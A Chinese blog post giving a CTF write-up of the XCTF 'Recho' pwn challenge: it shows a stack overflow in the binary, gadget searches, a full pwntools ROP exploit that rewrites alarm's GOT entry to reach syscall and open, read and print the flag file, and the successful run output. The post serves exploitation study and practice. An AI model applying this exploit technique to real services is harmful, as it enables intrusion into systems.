[pwn]ROP：灵活运用syscall

原创

breezeO_o 于 2019-08-26 22:18:06 发布 1990 收藏 5

分类专栏： 二进制 ctf # ctf-pwn 文章标签： 安全 二进制安全 ctf pwn 网络安全

本文链接：https://blog.csdn.net/Breeze_CAT/article/details/100087036


二进制 同时被 3 个专栏收录

35 篇文章 6 订阅

订阅专栏


ctf

30 篇文章 1 订阅

订阅专栏


ctf-pwn

25 篇文章 0 订阅

订阅专栏

灵活运用syscall

遇到了一个程序并不复杂，但利用却很麻烦的题目，Recho题目详细writeup，题目地址：Recho

按照惯例，查看安全策略：

```
root@kali:/mnt/hgfs/share/xctf/zNo19.Recho# checksec ./d7820a9699814e8480
83c1533
[*] '/mnt/hgfs/share/xctf/zNo19.Recho/d7820a9699814e8480efa2d3a83c1533'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

基本没啥安全策略，然后查看程序逻辑，程序很短，就一个main：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr; // [rsp+0h] [rbp-40h]
  char buf[40]; // [rsp+10h] [rbp-30h]
  int v6; // [rsp+38h] [rbp-8h]
  int v7; // [rsp+3Ch] [rbp-4h]

  Init(*(_QWORD *)&argc, argv, envp);
  write(1, "Welcome to Recho server!\n", 0x19uLL);
  while ( read(0, &nptr, 0x10uLL) > 0 )
  {
    v7 = atoi(&nptr);
    if ( v7 <= 15 )
      v7 = 16;
    v6 = read(0, buf, v7);
    buf[v6] = 0;
    printf("%s", buf);
  }
  return 0;
}
```


很容易就找到溢出点，大体逻辑就是，先输入一个数，小于15会被认为是16，然后再输入一串字符串，程序会将前x（刚输入的数字）个字符拷贝到buf中，这里没有上限，所以存在溢出。但问题是，while(read())函数，只有当read()=0的时候才会结束，试了好多种能让read返回0的方法，只有中断程序才可以。那么面临的问题就是，中断程序之后不能继续操作了，所以只能一个ROP一R到底。

试着寻找一下是否有后门，真的发现了flag字符串：

```
LOAD:0000… 0000001C     C     /lib64/ld-linux-x86-64.so.2
LOAD:0000… 0000000A     C     libc.so.6
LOAD:0000… 00000006     C     stdin
LOAD:0000… 00000007     C     printf
LOAD:0000… 00000005     C     read
LOAD:0000… 00000007     C     stdout
LOAD:0000… 00000007     C     stderr
LOAD:0000… 00000006     C     alarm
LOAD:0000… 00000005     C     atoi
LOAD:0000… 00000008     C     setvbuf
LOAD:0000… 00000012     C     __libc_start_main
LOAD:0000… 00000006     C     write
LOAD:0000… 0000000F     C     __gmon_start__
LOAD:0000… 0000000C     C     GLIBC_2.2.5
.rodata:0… 0000001A     C     Welcome to Recho server!\n
eh_frame… 00000006      C     ;*3$"
data:000… 00000005      C     flag
```


也没有使用system函数，也没有给libc版本。这里可以采用syscall来获取flag。

syscall汇编指令执行时会根据eax的值来执行不同的函数（功能），对应表

但我们这个程序中并没有syscall函数：

```
root@kali:/mnt/hgfs/share/xctf/zNo19.Recho# ROPgadget --binary ./d7820a9699814e8
480efa2d3a83c1533 | grep 'syscall'
root@kali:/mnt/hgfs/share/xctf/zNo19.Recho#
```

那么我们还要熟悉在libc中使用syscall的函数，比如这个程序中就有的alarm函数：

```
00000000000C6980 alarm           proc near               ; CODE XREF: lckpwdf+156↓
00000000000C6980                                         ; lckpwdf+19B↓p ...
00000000000C6980 ; __unwind {
00000000000C6980                 mov     eax, 25h ; '%'
00000000000C6985                 syscall                 ; LINUX - sys_alarm
00000000000C6987                 cmp     rax, 0FFFFFFFFFFFFF001h
00000000000C698D                 jnb     short loc_C6990
00000000000C698F                 retn
```

可见，在alarm中调用了0x25号syscall，也就是sys_alarm。并且syscall的地址比alarm地址多5，这里由于不同libc中alarm地址不同，但syscall和alarm相对便宜是不变的5，所以只要想办法将got表中的alarm地址+5，那么就会将alarm变为syscall的功能，但我们需要自己手动给eax赋值。

有了syscall，我们就可以使用open()flag文件，然后将flag读取到程序中，从截止位置开始读就可以。然后再write写出来。那么我们需要一些gadget，首先是pop eax;ret的：

```
root@kali:/mnt/hgfs/share/xctf/zNo19.Recho# ROPgadget --binary ./d7820a9699814e8
480efa2d3a83c1533 | grep 'pop rax'
0x00000000004006fc : pop rax ; ret
```

只有一个，正好，然后程序给了通用gadget：

```
                         ; CODE XREF: __lit
mov     rdx, r13
mov     rsi, r14
mov     edi, r15d
call    qword ptr [r12+rbx*8]
add     rbx, 1
cmp     rbp, rbx
jnz     short loc_400880

                         ; CODE XREF: __lib
add     rsp, 8
pop     rbx
pop     rbp
pop     r12
pop     r13
pop     r14
pop     r15
retn
```


然后还需要一个给alarm_got加5的，搜索一下add：

```
0x00000000004008ac : add byte ptr [rax], al ; add byte ptr [rax], al ;
0x0000000000400830 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000400831 : add byte ptr [rax], al ; leave ; ret
0x000000000040068e : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004008ae : add byte ptr [rax], al ; ret
0x00000000004006f8 : add byte ptr [rcx], al ; ret
0x000000000040070d : add byte ptr [rdi], al ; ret
0x0000000000400832 : add cl, cl ; ret
0x00000000004006f4 : add eax, 0x20098e ; add ebx, esi ; ret
0x000000000040070a : add eax, 0x70093eb ; ret
0x00000000004006f9 : add ebx, esi ; ret
```

要选给指针内容+5的，这里没有直接+5，我们可以pop给rax5，然后再加al，通用gadget中有pop rdi;ret，所以可以选择这个gadget。

接下来万事具备，可以开始编写利用代码：

```
from pwn import *
p=remote('111.198.29.45',36835)
elf = ELF('./d7820a9699814e8480efa2d3a83c1533')

poprax_addr = 0x4006fc  #pop rax;ret
poprdi_addr = 0x4008a3  #pop rdi;ret
ppppppr_addr=0x40089A   #通用gadget
mmmc_addr=0x400880  #通用gadget
addrdi_addr = 0x40070d #edi=edi+al
flag = 0x601058   #falg_addr
binsh_addr=0x601090  #存放binsh

alarm_got = elf.got['alarm']
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
alarm_plt = elf.plt['alarm']

#修改alarm_got
payload='A'*0x38+p64(poprax_addr)+p64(0x05)+p64(poprdi_addr)+p64(alarm_got)+p64(addrdi_addr)
#调用open，先将eax置2，然后使用通用gadget打开flag
payload+=p64(poprax_addr)+p64(0x02)+p64(ppppppr_addr)+p64(0)+p64(1)+\
    p64(alarm_got)+p64(0)+p64(0)+p64(flag)+p64(mmmc_addr)+'A'*56
#用read读文件，将flag读入程序末尾
payload+=p64(ppppppr_addr)+p64(0)+p64(1)+\
    p64(read_got)+p64(0x30)+p64(binsh_addr)+p64(0x03)+p64(mmmc_addr)+'A'*56
#用write将刚读入的flag输出
payload+=p64(ppppppr_addr)+p64(0)+p64(1)+\
    p64(write_got)+p64(0x30)+p64(binsh_addr)+p64(0x01)+p64(mmmc_addr)

p.recvuntil('Welcome to Recho server!\n')
p.send(str(0x200) + '\n')
p.send(payload.ljust(0x200, '\x00'))
p.recv()
p.shutdown("send")   #中断输入
p.interactive()
```

成功！

```
root@kali:/mnt/hgfs/share/xctf/zNo19.Recho# python ./exp.py
[+] Opening connection to 111.198.29.45 on port 52799: Done
[*] '/mnt/hgfs/share/xctf/zNo19.Recho/d7820a9699814e8480efa2d3a83c1533'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
cyberpeace{7c8543b1317d2e5364c4b0cc5a89a536}
\x00\x00\x00[*] Closed connection to 111.198.29.45 port 52799
[*] Got EOF while reading in interactive
```


总结一下就是，需要记住shutdown(“send”)可以中断输入，还有就是记得一些libc中有syscall的函数，再者灵活搜索程序中有的gadget。